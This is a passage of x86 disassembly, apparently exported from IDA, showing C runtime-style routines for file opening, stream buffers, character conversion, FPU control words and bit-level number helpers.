call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 26F0809h nop mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2620000h test eax, eax jnz short loc_423C11 push esi nop call near ptr 2651957h loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 2670763h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26000B1h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx nop call near ptr 26006B3h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 26006B3h nop jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2800000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2800000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 26000B1h nop jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 call near ptr 27F1177h nop test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 call near ptr 2800000h nop test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 call near ptr 2800000h nop test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj 